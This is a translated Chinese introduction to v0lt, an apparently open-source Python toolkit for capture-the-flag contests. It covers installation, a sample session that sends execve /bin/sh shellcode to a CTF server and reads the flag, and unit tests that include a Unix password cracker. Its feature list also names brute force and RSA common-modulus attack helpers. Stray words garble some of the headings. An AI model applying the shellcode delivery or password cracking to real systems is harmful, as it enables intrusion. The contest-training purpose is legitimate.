0×00 v0lt
v0lt是一個我嘗試重組每個我使用過的/如今在使用的/未來要用的用python開發的安全領域CTF工具。實踐任務可能會採用bash腳原本解決，但我認爲Python更具備靈活性，這也是我作出這一選擇的緣由。和丹麥CTF隊伍Gallopsled開發的pwntools 沒有關係，v0lt只是一個小型靈活可是卻具備一些特別功能的工具包。php
0×01 要求和安裝
依賴關係:html
- Libmagic
- Python3
- BeautifulSoup
- Requests
- filemagic
- hexdump
- passlib
安裝:python
|
1
2
3
|
git clone https:
//github
.com
/P1kachu/v0lt
.git
cd
v0lt
[
sudo
] python3 setup.py
install
# 要求sudo執行是由於可能存在缺失的依賴關係
|
實例: Shellcodeslinux
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
>>>
from
v0lt
import
*
>>> nc
=
Netcat(
"archpichu.ddns.net"
,
65102
)
Connected to port
65102
>>>
print
(nc.read())
GIVE ME SHELLCODZ
>>> shellhack
=
ShellHack(
4096
,
"bin"
,
"execve"
)
>>> shellhack.get_shellcodes(shellhack.keywords)
...<SNIPPED>...
85
: Linux
/
x86:setuid(
0
) & execve(
/
sbin
/
poweroff
-
f)
-
47
bytes
86
: Linux
/
x86:execve (
/
bin
/
sh)
-
21
Bytes
87
: Linux
/
x86:
break
chroot execve
/
bin
/
sh
-
80
bytes
88
: Linux
/
x86:execve(
/
bin
/
sh,
0
,
0
)
-
21
bytes
...<SNIPPED>...
Selection:
86
Your choice: http:
/
/
shell
-
storm.org
/
shellcode
/
files
/
shellcode
-
752.php
Shellcode:
"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62[...]"
>>> nc.shellcat(shellhack.shellcode)
>>> nc.writeln(shellhack.pad())
>>> exploit
=
nc.dialogue(
"cat flag"
,
3
)
>>>
print
(exploit)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
File
name too
long
P1kaCTF{sh3llc0de_1s_e4zY}
|
實現功能:
加密git
- Base64
- 凱撒移位
- 哈希功能(SHA, MD5)
- 位運算(XOR, 反向XOR)
- 經常使用轉換(bytes, strings, hex)
- RSA基礎模塊 (逆模, 逆冪, 實現RSA共模攻擊的egcd腳本…)
- 暴力破解(基於字典, 自定義詞)
Shellcodesgithub
- 從Jonathan Salwan的我的網站Shell-storm選定Shellcode並用repo工具下載
- Shellcode格式
- Shell{cat,net}: 輕鬆發送Shellcode
- 自動填充
鏈接支持shell
- Netcat
- Telnet
更多可得到的實例:安全
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
import
unittest
from
v0lt
import
*
__author__
=
'P1kachu'
class
Tests(unittest.TestCase):
def
test_netcat(
self
):
nc
=
Netcat(
"archpichu.ddns.net"
,
65103
)
self
.assertEqual(nc.read(),
"\nNothing to display yet...\n"
)
def
test_telnet(
self
):
tl
=
Telnet(
"archpichu.ddns.net"
,
65103
)
self
.assertEqual(tl.read(),
"\nNothing to display yet...\n"
)
def
test_stack(
self
):
stack
=
Stack()
self
.assertEqual(stack.size(),
0
)
stack.push(
"item"
)
self
.assertEqual(stack.is_empty(),
False
)
self
.assertEqual(stack.size(),
1
)
item
=
stack.pop()
self
.assertEqual(stack.size(),
0
)
self
.assertEqual(item,
"item"
)
self
.assertEqual(stack.is_empty(),
True
)
def
test_basic_ceasar(
self
):
plaintext
=
"This is a ceasar plaintext"
encrypted
=
"GUVF VF N PRNFNE CYNVAGRKG"
deciphered
=
basic_ceasar(plaintext, offset
=
13
)
self
.assertEqual(encrypted, deciphered)
def
test_get_shellcode(
self
):
sh
=
ShellHack(
70
,
"/bin/lol"
)
sh.get_shellcodes(sh.keywords)
sh
=
ShellHack(
70
,
"/bin/sh"
)
sh.get_shellcodes(sh.keywords)
def
test_flag_gen(
self
):
flags_gen(
"flags.tmp"
,
"P1ka"
,
10
)
def
test_find_nth(
self
):
self
.assertEqual(find_nth(
"lolilol"
,
"l"
,
3
),
6
)
self
.assertEqual(find_nth(
"lolilol"
,
"l"
,
4
),
-
1
)
def
brute(
self
):
bf
=
Bruteforce(charset
=
"abcd"
, final_length
=
5
, begin_with
=
"l"
, end_with
=
"P"
)
bf.generate_strings()
bf
=
Bruteforce(charset
=
"abcdef"
, final_length
=
12
, begin_with
=
"l"
, end_with
=
"P"
)
bf.generate_strings(output
=
"bf.tmp"
)
def
test_hex(
self
):
he
=
Hexeditor()
he.dump_file(
"setup.py"
)
he.save_file_as_hex(
"save.tmp"
)
he.restore_file(
"test1.tmp"
)
he.restore_file(
"test2.tmp"
,
"save.tmp"
)
def
test_passwd_cracker(
self
):
nix_basic_pass_cracker(
"HX9LLTdc/jiDE"
)
nix_basic_pass_cracker(
"HX8LLTdc/jiDE"
)
# nix_basic_pass_cracker("$1$khkWa1Nz$7YcmdOO1/uyHhMB7ga2L.1")
# nix_basic_pass_cracker("$5$khkWa1Nz$583CsGZkoT82wh2ukf75KT4VVrf9ZO/P0FXLiPKgG//")
# nix_basic_pass_cracker("$6$P1$XKg/SKZpe8Gbl5Utt3XVJEA4zJ6KB.IuZlShnP2FljfF32z3zoytnB.MaP9dJOObSOtiidHmeBp.feOqK4Mvg/")
if
__name__
=
=
"__main__"
:
suite
=
unittest.defaultTestLoader.loadTestsFromTestCase(Tests)
unittest.TextTestRunner().run(suite)
|
0×02 變動記錄
只包括主要功能和變化。錯誤修正和次要的變化略。bash
1.3 版本網絡
- 再次作了許多修復
- Hexeditor (轉儲/重寫文件)
- Unix密碼暴力破解
1.2 版本
- 修改/修復/修正了許多文檔/bugs/框架
- 增長了暴力破解模塊
- 增長了linux下一些實用工具
- 增長了Hexeditor
- Shellhack修復
- 增長了警報信息
1.0 版本
- 修改了許多文檔
- 修復了許多bugs
- 增長了shellhack (shellcodes參照工具)
- 增長了加密工具
- 增長了網絡方面工具
- 固定了項目樹
譯者注:
項目做者：P1kachu
項目主頁：https://github.com/P1kachu/v0lt